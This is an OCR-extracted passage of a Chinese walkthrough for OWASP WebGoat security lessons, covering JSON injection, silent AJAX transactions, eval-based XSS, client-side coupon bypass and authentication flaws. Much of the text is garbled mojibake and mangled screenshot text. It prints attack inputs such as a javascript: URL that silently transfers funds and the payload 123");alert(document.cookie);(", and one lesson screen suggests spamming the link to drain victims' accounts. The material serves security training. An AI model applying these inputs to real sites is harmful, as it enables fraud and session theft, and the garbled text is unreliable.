Date: Wwed, 17 Mov 2010
Connection: close

=root=

=froot=

A

Cache-Control: no-cache
Expires: Thu, 01 Jan 1370 08:00:00 CST

05:57:19 GMT

=reward=YWwebGoat Mug 20 Pis=ireward=
=revvard=YWebGoatt-shirt 50 Pte=/reward=
=remvard=wWehGoat Secure Kettle 30 Pts<freward=

ESARRY, fE<root></root>FHENINLA FACHY, 1BMU5E PRFF -

<reward>WebGoat Core Duo Laptop 2000 Pts</reward>

<reward>WebGoat Hawaii Cruise 3000 Pts</reward>

£ R TR e AME R PR U 836239, TUIEREX 2R 5> 74 2000, 3000 (13t 4B B

Welcome to WebGoat-Miles Reward Miles Program.

Rewards available through the program:

-WebGoat t-shirt

-WebGoat Secure Kettle

-WebGoat Mug
-iebGoat Core Duo Laptop

-wWebGoat Hawaii Cruise

Redeam your points:

Please enter your account ID:

Your account balance is now 100 points

Rewards

WebGoat Mug 20 Pts

WebGoat t-shirt 50 Pts

WebGoat Core Duo Laptop 2000 Pts

-
-
[ webGoat Secure Kettle 30 Pts
Ird
Ird

WwebGoat Hawaii Cruise 3000 Pts

Submit |

50 Pts
30 Pts
20 Pts
2000 Pts
3000 Pts

336239

Created by Sherif Koussa m_m
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2.3.6 JSON ;¥\ (JSON Injection)

23.6.1 AL ED

A PRFER 2 W T AT JSON FE ATl

2.3.6.2 FHAK[RIB

JavaScript Object Notation (JSON);2& — i fij B [ 42 5 2 i) £ 22 #eA% =0, ISON AJ LA
DARZIEAN A, 0. B, 1%, BRI EIESER . JSON 2 M T AJAX Al
web2.0 B . AHEE XML, JSON 43 ZIF2 /7 54 195 2 [ i bk, PRy e {8 2R, S B B
HJ2 5 XML —FE5 5 2 BN, % Bt vl DASE 3 76 13 R i J87 H 8 AAT = AH

2.3.6.3 E{&H#R

TR A Boston (HL37ARAS BOS) k4% Seattle (HLIA1RAS SEA) .

— BRSNS =R R, B ARRE R R 55 i A0 AJAX TSR A ATHEAIHL
S

ORI A REE AT DL ELIARBE, i ot, Q% 2 IRIEENUTEE, s (EE.
BRI AR WSKEIAMIBERINLEE, (24 A A A% .

]

2.3.6.4 HBIERE

2L T oA st T 2 ) -
From: IEEDS
To: |SEA
|_|N|:| of Stops [Stops |Prices
F|n |N,-’.ﬁ. |$6|:||:|
|?|2 |NewarkJChicagD |$3EIIII
Submit
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FI FH} WebScarab #3531 115 2 an & -

T T T T T T L

He:x |

Fosition |[of1|z[af[af[s|e|[7][a[a][ale[c[o[E|F] String

|r Parsed rRaw |
HTTFM . 200 Ok
Server: Apache- Coyoterst 1

Fragma: Mo-cache

Cache-Caontrol: no-cache

Expires: Thu, 01 Jan 1970 083:00:00 CST
Content-Type: textrhtrml|

Ciate: Wed, 17 Rov 2010 O7:528:17 GhiT
Connection: close

'From": "Boston”,

‘To": "Seattle”,

‘Mights": [

“stopst 0", ttransitt cUreA, tprice”: CRE00" ),

"stopst: ", "transit UMewveark, Chicago”, "price™: 300"}

i

&5 HTTP 3% [ 54E F JISON 18, $9$600 4 $100.
RATHEN G, M EE R

Solution Yideos Restart this Lesson

* vou are traveling from Boston, MA- Airport code BOS to Seattle, Wh - Airport code SEA.

* Once yvou enter the three digit code of the airport, an 8J4% request will be executed asking
for the ticket price,

* vou will notice that there are two flights available, an expensive one with no stops and
another cheaper one with 2 stops,

* *Your goal is to try to get the one with no stops but far a cheaper price.

Frorm: IEOS

To: ISE.-E&
[ [No of Stops [Stops [Prices
l?|':' |Nm |$1|:n:|
l?|2 |Newark,chicagn |$3I:|I:|

Subrmit |
Created by Sherif Koussa m_w

oW ASP Foundation | Project WebSoat | Report Bug

VRIS Ay DURAN W SE ELE MRS, SE AT IR AR 55 -
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2.3.7 82B 3z 5 d (Silent Transactions Attacks)

23.71 HEARGERLED

APRFER B2 S T AT SRS 5 i

2.3.7.2 HAK[RIE

X S R U AT AR ER AL 5 Bkt P B SRS R ST A SE R 25 R
AR —ANIEH K web N FovF—AMAETEL AT URL 382, — DT il Bl se Ve BGE # 72 %
ARG O B 5 1 Ajax AL SRS Ko R AMARR, ATt
VU _EE5 A BT BN BB AR BT DAAE P ORI O T I i S R A A

2.3.7.3 E{&Br
AN B PR ARAT RO BT, 7E DT T DA AT R A s
MR R T BRI S 2. SR S A E AR

N FE PP AR B I — SE AR IR 5 3 HY AJAX BEARGEAT MR 5
B H ARG T IRAE, AT R BREL K B AT

2.3.7.4 BERE

% Web {8 H JavaScript 755 J iy & L KA 5 AR » I A E HTML JRARAS & 30
FEREH T AN I8 1] JavaScript BRI

<script>
function processData(){

var accountNo = document.getElementByld("newAccount®).value;
var amount = document.getElementByld("amount®).value;

if ( accountNo == ""){

alert("Please enter a valid account number to transfer to.")
return;
}

else if ( amount == ""){

alert("Please enter a valid amount to transfer.")

return;
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}

var balanceValue = document.getElementByld("balancelD").innerHTML;
balanceValue = balanceValue.replace( new RegExp("$") , "");

if ( parseFloat(amount) > parseFloat(balanceValue) ) {

alert("You can not transfer more funds than what is available in your balance.")
return;
}

document._getElementByld("confirm®™).value = "Transferring”
submitData(accountNo, amount);
document.getElementByld("confirm®).value = “"Confirm*"
balanceValue = parseFloat(balanceValue) - parseFloat(amount);
balanceValue = balanceValue.toFixed(2);
document.getElementByld("balancelD").innerHTML = balanceValue + "$~";

}

function submitData(accountNo, balance) {
var url = "attack?Screen=68&menu=400&from=ajax&newAccount="+ accountNo+
"&amount=" + balance +"&confirm=" + document.getElementByld("“confirm®) ._value;
ifT (typeof XMLHttpRequest !'= “undefined®) {
req = new XMLHttpRequest();
} else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft_ XMLHTTP®);
}
req.open("GET", url, true);
reqg.onreadystatechange = callback;
reqg-send(null);
}
function callback() {
ifT (req.readyState == 4) {
if (req.status == 200) {
var result = req.responseText ;
var resultsDiv = document.getElementByld("resultsDiv®);
resultsDiv.innerHTML = **;
resultsDiv.innerHTML = result;

b33

</script>

M SE K S5 B AR IR H S ESRN G, BR%L processData() =B . BR K
processData()fE K #CHEIKAZ Zy i, APk T2 &AW IR W pgeAmd,
1| %1 %% SubmitData(accountNo, balance) 4% i H - i B SE PR & )5 5 (Web M fE 6
LKA EFrF R EEE L B 5 MK S5,

W ARG AT LU I ) Y2 BT submitData(accountNo, balance) B, 4 mhn] LAGE
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1% PR S F AT FRR AL 5 o IR TR EAT AT AR AR P A A

K22 ) Y 2 1) B R A S k8 I 7 Mk A B N 248l “javascript:function();” (15 A 04T
JavaScript. Z2i{$H4T javascript:submitData(1234556,11000).

oA s 24 i T 2

* This is a sample internet banking application - money transfer page.

* It shows below your balance, the account you are transferring to and armount you will
transfer,

* The application uses AJAX to subrmit the transaction after doing some basic client side
validations,

* vour goal is to try to bypass the user's authorization and silently execute the transaction,

Welcome to WebGoat Banking System

Account Summany:

Account Balance: 11957.09%

Transfer to Account:

Confirm |
Transfer Armount: ]
Created by Sherif Koussa m_m

OWASP Foundation | Project WebGoat | Report Bug

) 5 28 LA % N javascript:submitData(1234556,11000)

a Silent Transactions Attacks - Microsoft Internet Explorer

HFE) dmERE) EEN WE@ LA HEE

OFE -0 - 2 0| BB bk @mE @] v L
Hbtib(Dy I@ jawascript: submitData (1234556, 110000

P ILh, S AT EREE -

Welcome to WebGoat Banking System

Account Summary:

Account Balance: 11967.09%

Transfer to Account:

Confirm |
Transfer Amount: ]

* Congratulations. You have successfully completed this lesson.

You have just silently authorized 11000% without the user interaction.

Now you can send out a spam email containing this link and whoever clicks on it
and happens to be logged in the same time will loose their money 1!

Created by Sherif Koussa m_m
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2.3.8 &3S (EA (Dangerous Use of Eval)

23.81 AL ED

TERR S v 36 UE B A P N BIE B, IR — DA RIMIE . a0 ARG UE 19 7 i N B4z
I HTTP e 23R B 25 2 7 o 114, A4 2 il XSS Bty o

TEX—iRd, RIGUERH P IRAE B 45 & 1 JavaScript 1 eval() i ] — &4 FH o 78 8+
T XSS Tti i, Tti T LIS Y A S0 B A 1Y) URL, H A6 T oAk o, @it B i,
B HAR 7 YR - iy, A E XSS B H .

2.3.82 FHAK[REIE

HTML B 04T — RS HTML g8 5 AP A AL G e e RIS AL BN — €
A A A T REASN ST A3 AT, el HTML Hr ARG AT A S5 S, e

<input name="submit" type="submit" value"#x'"/>

ASFTURET NS AR AE I SR B XSS BUai PRFER L.

Hint: The lesson is similar to the standard reflected cross-site scripting lesson.

2.3.83 RE{&Bir

ARLL S RFE A, IS AT S5 Il M PR SN, 76 SR i T i AR TR B A .
B A RS, AT alert() PR FUE 7~ Y document.cookies

2.3.84 BEAE

PO 3 24 i 0 1 0
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Shopping Cart

Shopping Cart Items -- To Buy . .

Now Price Quantity Total
Studio RTA - Laptop/Reading Cart
with Tilting Surface - Cherry 6%.93 |1 $69.99
Dynex - Traditional Motebool: Case 27.99 |1 $27.99
Hewlett-Paclard - Pavilion
Motebook with Intel® Centrino™ 1395.59 IaI $1599.99
3 - vTear Performance Service Plan
$1000 and Over 299.99|[1 $299.99
The total charged to your credit card: $1997.96 Llpdate Cart
Enter your credit card number: IJHEB 2214 0002 1999

Enter vour three digit access code; |123

R -

FPurchase |

M1 3 CLEAI BT RS 2 i N JavaScript ] eval() 8 %5, AL AT EERHZ IR AU HEAT 4

7E enter your three digit access code F#i A LL N ACHS BRI A 5¢ k.«

123");alert(document.cookie); ("

JIk 55 Wi 80 3R 51/ JavaScript 45 5R A2 -

eval ("1237);
alert(document.cookie);

;s
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& [@® 1.1.1.105/webGoat/attack?screen=228menu=400 ~ @] [~ coogle

acopendivids=swingset, jotto, phpbb2, redmine;

acgroupswithpersist=nada;

JSESSIONID=337FF1769BEOGC42343018E1745B212D
O 1 E AR R ST

B EIIAAT, AT IRAESE R

2.3.9 A LZEHNEPinRENME (Insecure Client Storage)

2.3.9.1 FARERH IR

i 55 S B E A AP P i N AR SRR R AN (R0 » B S BEAT IR A BRIE A5 S AR A AE
gag M sEE. 10ME, & i AT BE A RES AL B !

2.3.9.2 HAK[REIE

& F i HTML A JavaScrip 8 A) ] DAXE I TT N 25 BB, Wik, #=dls . R
B RS, [FIRE, ol i o ) ARt BB ok 2 PR A1

2.3.9.3 E{&H#R

2.3.9.3.1 Stage 1: XMW BH5L

AR, IS R R BRSNS .
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2.3.9.3.2 Stage 2:1BX R IBITH

gead g P mIAIE, R AR S5 B AE T T B

2.3.9.4 BERE

AERAE R R E 2 AT DL JavaScript (00 WSS 1 . Wi AT 1E i gs, T LA
H 1IEWatch. DL T Firefox W %251 Friebug 8

2.3.9.4.1 Stage 1: XML =L

TE U AL A (coupon code) HT AMEF 4N —NF4F, Hhan 1.
¥THF Firebug, st [inspect] %A U LY coupon code % AME, 7E Firebug " /57
Script, i £% clientSideValidation.js, 7E if(coupon == decrypted)4&b T 5

A { TR H B ! iz

|. \cnngle
ﬁ‘*‘@'\ |mwmes () TaTa (3

| [ mmsecure Client Storage [ ’A e

ficcess Contral Flans - =
AIAH Seourity STAGE 2i Now, try to et your entire arder for free,

L LAE: DOM Eased

* Your order isn't free yet.

Shopping Cart

Shopping Cart Items — To Buy Price Quantity Total
Now

Studio RTA - Laptop/Reading Cart C——

with Tilting Surface - Cherry $69. 99 0 50.00
Dynex - Traditional Hotebook Case  |$27. 98 [0 $0.00
Hewlett-Packard - Pavilion Hotebook O

with Intel® Centrino™ §1899.99 0 §0.00
3 - Year Performance Service Plan O

1000 and Ower $298. 59 f $0.00
Tatal before coupon is applied: $0.00

Total to be charged to your credit card: $0.00

cy
Cross-Site Seripting (XS5)
Denial of Service Enter your credit card number: 4128 3214 0002 1989
Improper Error Handling
Injection Flaws Enter your caupon code; 1
Insecure Comrmunication
Insecure Configuration Purchase
Insscure Storage
Malicious Execution

Parameter Tampering
Session Managemnent Flamws
web Services ASPECT
Admin Functions
Challenge Rpplcao Scuty Spedalus
OWASP Foundation | Project WebGoat | Report Bu. |
%" TInspect | Enabled- | clientSideValidation. js | isValidCoupon ¢ onkeyup [ S I = [ (m)
Console HTML €55 | Seript | DON Het Reference Drupal Options~ ||| Fateh | Stack Breaksoints Options -
ons = ["mrajubng”, | Iewy watch expression. ..
# this Rindow st tack?Tereen=iFodmenu=¢0d
coupon "
i 0
¥ 2
=
“PLATIHUX"
3
alse
: -
1481 +
o | #FE=ER,

AR R decrypted b, 2 B 7x AT AN PLATINUM. TE45 I A ) watch H, &2 coupon
fJ{E A PLATINUM, BY7E TTTH coupon code i AMEH I PLATINUM . 4% F10 1AiRi 47, W@
it

60 /177



OWASP h =]

The Open Web Agplicalion Socerily Project

http://www.owasp.org.cn

Enter yaur cradit card number;

Erter your coupon code:

& clientSidevalidation,js =
85 Sopt  DOM

Inspect

Comsole  HTML Het

fanct iaValidCoupon | coupon

i
coupon = coupon.toUpperCase) ;

if [coupon == decrypted) |

ajaxfunction|coupon)] . =

2.3.9.4.2 Stage 2R R EBITH

BValidCoupe
Optians =

var i=0; i<coupons.length; 1++]
decrypted = decrypt |coupons(:

4128 3214 D002 1953
]

Purchase |

ISFEGT]

Appare Secuity SRtk

m "
@
Watch | Breakpoints Options

T

- . 3 more... |

+ dd

1]

M TR A SR TP R RS T BON R B, BRI TR B . DR EE5R 1204 credit card

LK shopping card FRA#% 1) JE@ 1 .

Shopping Cart

Shopping Cart Items -- To Buy Price Quantity Total
Mo

Studio RTA - Laptop/Reading Cart I—

with Tilting Surface - Cherry ¥69. 89 0 $0. 00
Dynex - Traditional Motebook Case $27. 99 IEI $0. 00
Hewlett-Packard - Pavilion Motebook I—

with Intel® Centrino™ $1508. 55 L $0. 00
3 - vear Performance Service Plan I—

$1000 and Owver $200. 89 L $0. 00
Total before coupon is applied: $0.00

Total to be charged to vour credit card: $1000. 00

Enter your credit card number:

Enter your coupon code:

[4128 3214 D002 1999
[PLATINIM

Furchaze |

FIH Firebug, fE HTML 1482 readonly="", MIERiZJ&ME. W ATAE T _EAZ S0 A%

I1E -
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g‘ Ingpect Edit | th < tr < tbody < table < form < div#leszonContent < div#fleszonlrea < div#twoCol < div#wrap < body. pag
Console | HIML | C55 Seript DON Het Reference Drupal

= <{tbodr>
= <tre
<td>Total before coupon is applied: ¢ftd>
= <td align="right">»
<input trpe=“tezt” readonly="" name="SUBTOT" strle="border: Opz nome ;" walue="g0.00%/>
St
Wty
o <tr
<tdrTotal to be charged to your credit card: </td>
o <td align="right">
<input trpe="tezt” strle="border: Opz mone ;" walue="$0.00%/ >
St
FEETSY

Shopping Cart

Shopping Cart Items -- To Buy . "
Now Price Quantity Total

Studio RTA - Laptop/Reading Cart I—
with Tilting Surface - Cherry $10.00 s $0. 00
Dynex - Traditional Motebook Case 27,09 IEI 0. 00
Hewlett-Packard - Pavilion Moteboolk I—
with Intel® Centrino™ $1598. 99 s $0. 00
3 - vear Performance Service Plan I—
$1|:||:”:| and O\-‘Et’ $299- 99 I:I $I:I- I:II:I
Total before coupon is applied: f0.00
Total to be charged to your credit card: f0.00
Enter yvour credit card number: |4128 J214 0002 1999
Enter yvour coupaon code: I

PECRRE S A% S0, SRR TR AT H G 9 H) !

2.4 IAUEERPE (Authentication Flaws)
2.4.1 ZEiE5EE (Password Strength)

2411 FHAREEZHER (Concept / Topic To Teach)

E R 2 A ORI o« 22 80T AR &AW A IR A 99 25 1 o i SR AR T FA Y
RIREFP A 2 2 S0, NOZBCE — DU . RSN A& NS 78 K57
Ik G B S SV E S 7/
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2.4.1.2 FAKR[EIE (How It works)

EIMAE o, BRI AR il R . AU LA R 5

2.4.1.3 SE{*xB#%x (General Goals)

FEIXANG ) d, &) H IR 7E https://www.cnlab.ch/codecheck 94 3k it JL2H 2561

2414 #¥{E5% (Solutions)

FT -3 8 25 3515 9] https://www.cnlab.ch/codecheck. & N 35— A28 3885 [Run

the check] %40

secret code checker
This service allows you to check the quality of secret codes online.

Tha sarver analyzes your antry and tells you about tha sacurity ratng of your coda {rated as waak,
trong),

You can enter your secret code here [123456 i

You use this sacret code on tha following system:  Windaws 2000,/%F
© Windows 95/98/NT
" o

Now, you ean Run the check

E 30 ) B T AL " Yes, | want this word to be tested" .

The transmission of data to the server is encrypted. Your
inputs are not stored. only statistical information (time of
check, quality, system) is collected.

It is highly recommended not to use productive secret codes |
Use a code that is constructed similarly to your real
secret code.

Do you want to continue?

@ Yes, | want this word to be tested.
# No, | would like to correct my input.

A [ ) 45
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secret code checker

Your secret code is

Your secret code is weak. Please change pour secref code immediately.

The analysis shows that your code can be found as follows:
Number of trials to find: 434'688
Approximate time to find: 0 second(s) (when doing 1'000'000 tests/second)

Detailled analysis

e 2 IR AL 5 AUE S 7 A BCE R b T I, R T 75 I TR 5 R RIS SE o

2.4.2 =idZfS (Forgot Password)

2.4.2.1 FAREE2AFHER (Concept / Topic To Teach)

Web [ F 254 ﬁ%ﬁﬁﬁﬁ%ﬂﬁ@%A HARSERE, 1RZ Web 3 HIFR 71 52
HURIIFAS L8 . B8 ™ B 4 Bl 7 B2 0045 S AR AR Ty o

2.4.2.2 FAKR[EIE (How It works)

BOAAEATBUE Hems, B IR AT 28

2.4.2.3 S{*xH#r (General Goals)

T SR A i IE G (0] B S R4 e R, AR A SR AT LAFR B 3500 . “ il 5 hS " T R W e AT
A E5E s . TSI 422 “webgoat” , SEEIIHIE A “red” o A1 HFREER E] B —
H P0G .

2.4.2.4 $#{EFA% (Solutions)

Pt L P S T 7 4R Il S Thag, A S0 B SRS SR E R, AT LR Z mT A
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LB S R AR el 8, Biln. 1 4409 webgoat AT, Xt T2 A OR3P 7] L 45
BSR4 7 S0 “40t” , il IR nl 2 i U r] DLE R SRS Y,

VAN

Webgoat Password Recovery
For security reasons, please change your password immediately.

Results:
Username; webgoat
Color: red
Password: webgoat

PATFEZM 2 CL admin P OA6], WE SIS O ] A %6, DAFRE admin
HI%4% . 7E User Name % A\ admin. 1T EIFT7s:

Webqgoat Password Recovery

Please input your username. See the OWASP admin if you do not have an
account.

*Required Fields

*User Name: Iadmir‘||

Subrmit

iy [Submit] f5, B LR n] @

Webgoat Password Recovery
Secret Question: What is your favorite color?
*Required Fields

*ANSWer: I

Subrnit |

AT AR RS S MR 445K, 25 K green NIEFAE % MBI T IR
I, Zedi .

* Congratulations. You have successfully completed this lesson.

Webgoat Password Recovery
For security reasons, please change your password immediately.

Results:

Username: admin

Color: green

Password: 2275%star8c0rn3
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2.4.3 EZIAUE (Basic Authentication)

2.43.1 FEAREEAKEFE (Concept / Topic To Teach)

LA B DI 3 FE SR A IR 45 O U . Web IR 254894 K 3% 401 AIET% R 5 i sk
VR IR IS o 72 S 00 5 4 2 R PP 2 30 U S A e S HE PR PR 2 4 R 3
PP 4 D44 ] Base64 b sUBEATARAD, FFH XL RI%L Web FIRZS 2. Web
TR 46 82 S BT I M AR 4, 1 S TR 6 SRR TR, JUI3R [E BT sR O 7B, X Le iE & (3 B
B A — AN PR ok — AL O S O T, T S 75 D P i A R

2.4.3.2 FAKRIEIE (How It works)

FEAINUERE ] cookie LB IAIESS /S, AT LAME A TR E#IERIFASE cookie.

2.4.3.3 S{xH#r (General Goals)

AT URARIE 1 F b A2 PRI A UE JF 5125 ) AL

2.4.3.4 $#{EFA% (Solutions)

W it N P S P 4R L S Eh RE, 2 F P D B S s A I, AT DR 2 T B 2
WA ORGP n] AR B AS, 0. 449 webgoat R, % T2 RS LR ) R A B B R
B A7 7 BBSRE “ae” , il E el % AT LSRR %, R E TR

BENIZTLE, [EIF B3N Webscarab.
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7 Basle AiilBenileation - Windsws beternel [aplorer

G (00 = [ e eims Letacar 3D T FreE Fim

Clncoght | (v rboctan e G0 = ) D% = | ) Povimetais ENSibhocied  TF theck = % Sutmirk = o endine G [0 veddachse [, doiretrain [

Drwsn S - AW D ¥

O e mtereesnen Bl wmer it Ok T
wogout ) -

Basic Authentication

Hestart thin Lassnn
ISESSIDMID & &8 DAFAZFTIZACT 48 1PETIEVBSAIBRTEN

Bame Asthentication in wied b probed server sds macurces. The el server will send u 401
mutharicabien renEst wih tha rexpenss loe ha regueted ressurce. Tha cherd el

ki thar promept the suer far & wer name and passwond wieng 8 Erowesr suppied S hc,
T rowsar wil Basntd prcsde the user rams snd cassates ard send thess o =
requester reamuree  the credentisis are comrect

Theske Cradennais a7e SunAnaLCaly FEENE Or T DS0H [PINETE with el Mrscasarm
without PeaTIng (e uper ) aniae (s Credenniais sgan

fermrrad Goal{sl

Fo ithes bewnen, rowr gasl m ba undersiand Rasc Auherdicaion and sswsr the guasiane
b,

Wt e The rarme oF T suthentcaton hasder

Wt 13 the scestesd vakim of the mfrepricaton header
|
Sponsores ty AEPECT)

Dona o ol et b L, S

s [submit) , Webscarab #i3KiE=R, 7E HTTP k& — AR G AMAIEE B
“Authorization” , 'BEIFMEAE “Z3V1c3Q6Z3V1c3Q=", ®JLLFE Webscarab ] “tools” -
“Transcoder” /1, i%E# “Base64 decode” BHATH1F, & 1F2] code fH “guest:guest” .

= Edit Request

Intercept requests : Intercept responses: ||

Parsed | Raw |

Method URL Version

[PosT | [httpumenaoimeb Goatatack? menu=310 | [HTTPia
Header Walue

Content-Type applicationie-wwaw-form-urlencoded e

UA-CPL %86

Accept-Encoding ozip, deflate -

User-Agent hozillard.0 (compatible, MSIE 7.0, Windows ... Insert

Frovy-Connection Keep-Alive

Cantentlength 78 _| Delete

Host neo F

Fragma no-cache

Cookie JEBESEBIOMNID=GFDAFAZFT32ACFAE1TB236. .

Authorization Basic Z3VIc3QE23 0 30= -

- W

URLEncoded | Text | Hex |

Yariable Walue
header Insert
vallle
SUBMIT Subrnit Delete
o e i Py A o ey ey L oy o A ey o et L i o L A it R i i n s i i L e s o A o L L G
Accept changes Cancel changes Abort request Cancel ALL intercepts
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Transcoder Elfﬁfgl

Etfit

Characters: 16
ZIV1cIEZIVICI]s]

| URL encode Basetd encode | MDShash | | SHA-1hash |

= Transcoder
Edit
Characters: 11

qUest: quest

URL encode Basefid encode | | D45 hash SHA-1 hash

URL decode Base6d decode

TERFE TR o\ “Authorization” , “guest:guest” , MIRAL, TEHEE—F B,
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Logout ¥4

OWASP WebGoat V5.2

Basic Authentication

Introduction

General

Access Control Flaws
AIAX Security
Authentication Flaws

@ Forzot Password
Basic Authentication
Mutti Level Login 1
Mutti Level Loginm 2

Buffer Overflows

Code Quality
Concurrency

Cross-Site f‘crlptlng (¥55)
Denial of Service
Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
_,ecclc:n Management Flaws
Web Services

Admin Functions
Challenge

Password Strensth

Restart this Lessor

Solution VideosBasic Authentication is used to protect server side

resources, The web server will send a 401
authentication request with the response for the requested resource. The client side browser
will then prompt the user for a user name and password using a browser supplied dialog box.
The browser will basef4 encode the user name and password and send those credentials
back to the web server. The web server will then validate the credentials and return the
reguested resource if the credentials are correct. These credentials are automatically resent
for each page protected with this mechanism without requiring the user to enter their
credentials again.

General Goal(s):

For this lesson, your goal is to understand Basic Authentication and answer the questions
below.

* Congratulations, you have figured out the mechanics of basic authentication.
* - Now you must try to make WebGoat reauthenticate you as:
- username: basic
- password: basic
* Use the Basic Authentication Menu to start at login page.

Use the hints! One at a time...

OWASP Foundation | Project WebGoat | Report Bug

1EiX—if, ARSI JSESSIONID cookie +& Wifa] FHSRFAT SR 5 3, DL A n i
PR B 3 IE SR BEAT AR B 3 AIIE . 24 WebGoat R F|— /NG R4, B HEE
5E [0 B IEAE AT I IRARE DU, a0 SR A AT 246 202216, WebGoat £ B — N1
JSESSIONID, #&&FEEIFE—IR. UL WebGoat fENFEAVI M), & EMIAIMA A JSESSIONID
Al Authorization 3k, W] LAYE Webscarab W AR HUE 3K 3 MM Bk JSESSTONID FIME LA K
Authorization k. WebGoat ¥ E RIEHAT G IGAE, WIER LA 4 “basic” , %
i “basic” o fEHEFERELL basic H /7 Bk, i3 3RATHI JSESSTONID Mg ? x4
JSESSIONID J&— AN EREAPER cookie, TEAR—IRVFIINI R E, M2 E] WebGoat HIEEA
W RABH —A cookie fH. MEIRJERHTIIER, Ao bUBAFE7E X B2 N AZH 1 cookie fH, X
A AT AR SR 32k AR JSESSTONID B i 5 Al

BUAE R 2 HT UL, ML H Y Webscarab TUTH H & 2l H A7) Authorization 42 basic,

LR basice
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= Edit Request

Intercept requests : Intercept responses: [ |

Parsed | Raw |
Method URL ersion
|GET | |http:imeo:20MmebGoatiattack? Soreen=133&menu=210 | [HTTRA A1

Header Walue

Arcepnt imageigif, imagek-khitmap, imageijpeg, imadg...
Referer hitp iineod®ebGoatfattack? Screen=133&men. .
Accept-Language nl-he
UA-CPL a6
AcceptEncoding ozip, deflate Insert
User-Agent Mozillard.0 (compatible; MSIE 7.0, Windows 1. Delete
Prowy-Connection keep-Alive
Cookie JBESSIONID=7BA4B9F4BFE290A4979RSFBA.
Autharization Basic YmFzaWwheYmFzalWii=
Host neo
R o o o ot o o o o

Hex |

Fosition |of1]z[zl4]slelrlalalalelclolelF] String
o

| Accept changes | Cancel changes Abort request Cancel ALL intercepts

T 75 B 20 JSESSIONID, WebGoat & 43536 iF ) FH 7 388 st JIR 5% w5 3 4 )
getSession(). getUser () TEM R . N T ik WebGoat #H/E sk £ AER] basic /7, BFH
R E T &2 JSESSIONID=noval idsession.

Edit Request

=1

Intercept requests : Intercept responses: | |
Parsed | Raw |
Method URL Version
IGET | Ibitp iineo:B0WebGoaliattack?Screen=1338menu=310 | |H1TF'I1.1 |
Header | Vawe |
Accept limagedgil, imagef-xbitmap, imagefpead, imadg...
Referer [http:fineoiWebGoatiattack?Sereen=133&men...
Accept-Language Inl-he
UACPU [x86
Accept-Encoding lgzip, deflate Insert
User-Agent IMozillafd 0 (compatible; MSIE 7.0; Windows N Delete
Proxy-Connection [Keep-Alive
Host Ineo
__________ LSESSIONID=novalidsession]
|Basic YmFzaWhiBYmFza\yii=
position [0]1]2]3[4][5[6]7[8[ala[B[c[D[E|F] String | I
| Accept changes I Cancel changes Abort request Cancel ALL intercepts

ALl H 5 M BIFF AR DUH, JSESSIONID 48 1, Bk T i etz (REC
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SERCEFE) o RN basic B P V& 55 BATfT WebGoat 5% . ILLEHE N "Basic Authentication"
R R AT 58 A IR

2.4.4 %EF 1 (Multi Level Login 1)

2441 $HAREZRLEM (Concept / Topic To Teach)

LB FIA T —AME B E . XN Z BRI B BT 25 E S
JG, BRI LLE R —A “Z50ES (TAN) 7 . X&u H T ERIT. 53— NRITIR
EETHR 232 G AIE 5 2R RME— 173K, BN 5 AIES Rl H—. A—F7da 5
EIRMAE—ANZ GNIES, XM I Ak & B & ik A5 H P RS G 0IE S .
2.4.42 HAR[FEE (How It works)

R % I A S8 UE RS AR AE RE U8 R A Y

2.4.4.3 S{xH#r (General Goals)

ANLERAE P8 TR S il G RS E . i 5 — MKk S . RGECERHE T
M. B —ANC2MEH T8 TAN. BRELRGEZIZFIYS, RECCLpfim
I

2444 $#1EFA% (Solutions)

RERFEAHALIR: B PRI A I 2 908 o2 ] TAER): 28 D IBTR 2L
WX — et A IAIE.

B BRARG, P 4: Jane, HiY: tarzan.
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" Goat Hills Financial

;ﬁ Human Resources

(## <
Enter your name:  LJane
Enter your password: e
[ Submit |
L\ .
BINE DT HNIES 15648, 2385 58— 58 e
Goat Hills Financial
1£ Human Resources
Tﬂ ; Y
Enter TAN =21: [15648
Submit |
Logout
L\

b D, BOARNHT Z2HEF M TAERE, 8RS 0w Wi wk
RIXFPISUEAL] . 5 55HF 3 Webscarab, SAEERZE——FEMEH H P 44 Jane, %fY: tarzan
AT BT TERIN TAN Rh4k 44N 15648, SRJEHE3E, IXH) Webscarab & #@/Rn#2#ifE E. &

I Bk 24 hidden tan FIEMCN 1, RIA5ERGZIRAE .
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| URLEncoded | Text | Hex |

Variable Value |
hidden_tan ] |
tan 15648
Submit Submit

Insert

Delete

2.4.5 %L F 2 (Multi Level Login 2)

2451 $HARERLEM (Concept / Topic To Teach)

2% L.

2.4.5.2 FAKRIEIE (How It works)

2% b,

2.4.5.3 S{xH#r (General Goals)

AR, SR TSR, S ORI 5317 055t 46 T BB R I
5 %, 2 L FLBR I 4 OB T DL 44 B4 3 R

2.4.54 $#{EFA% (Solutions)

DL 44 Joe, 1Y banana &3, SRJGHIN TAN #2848, 1T Webscarab #EUE K.
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[ URLEncoded | Text | Hex |

Variable | Value
hidden_user {Janel
tanz2 4894
Submit Submit

Insert

Delete

4 hidden_user H11 Joe B Jane, S8 SRR T, K DL Jane B RS, 1IXIRFE TE K

2.5 ZHXiEd (Buffer Overflows)
2.5.1 Off-by-One ZEMH[Xiii (Off-by-One Overflows)

2.5.1.1 FHAREEESHIER (Concept / Topic To Teach)

G X AR A T SR 22 DX Py SR TR B (v SO R T SR e XA B R, i
Ko 8 A AE SR L BRI DU RE A B A K AN SR VR B I e XA L ) 5
7, EREZ K 2 BORe A 2 BB B A P A 5 P 20 e AR i A 2 T AR DL S Xl 9 22 o IX ik
N R

2.5.1.2 HARFEE (How It works)

A3 [ R P AR 2 1o X5 NG Y A BE (R P 7 3 S0 DX 1 AT SRR e O HEAR
TG SR A 5t B R P B T AT HE R S, DUA BT (1 H 1Y o 38 g DX H 1 S P A A
Fe i BB ks & R A IS4

G X ik R — AP AR 3 AR G R IR, 7R A AR R G B T AR .
A G2 X By, AT A BUREFF BT R RGE L EHE 565 R o)™ E A2,
A UA I ERAT AR <, HE UG RS BEM AT B A ARE SRR
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2.5.1.3 S{*xH#r (General Goals)

X RE] OWASP 1R ! RRES R VIP 20 ELEMEAS b5 ) ? 487 E 52 DL A G
5 R A BEVT IR LR

2.5.1.3.1 Step1/2

HH RSN A S B S EIEE M R s g M.

2.5.1.3.2 Step 2/2

THIEF NI B
T ORI IR (0 00 5 S PR P I [ DL, AR 55 AN SR BEARATIR K

2.5.1.4 #4E5’% (Solutions)

A5 ] BurpSuite 58 i
HLRBEES, AR
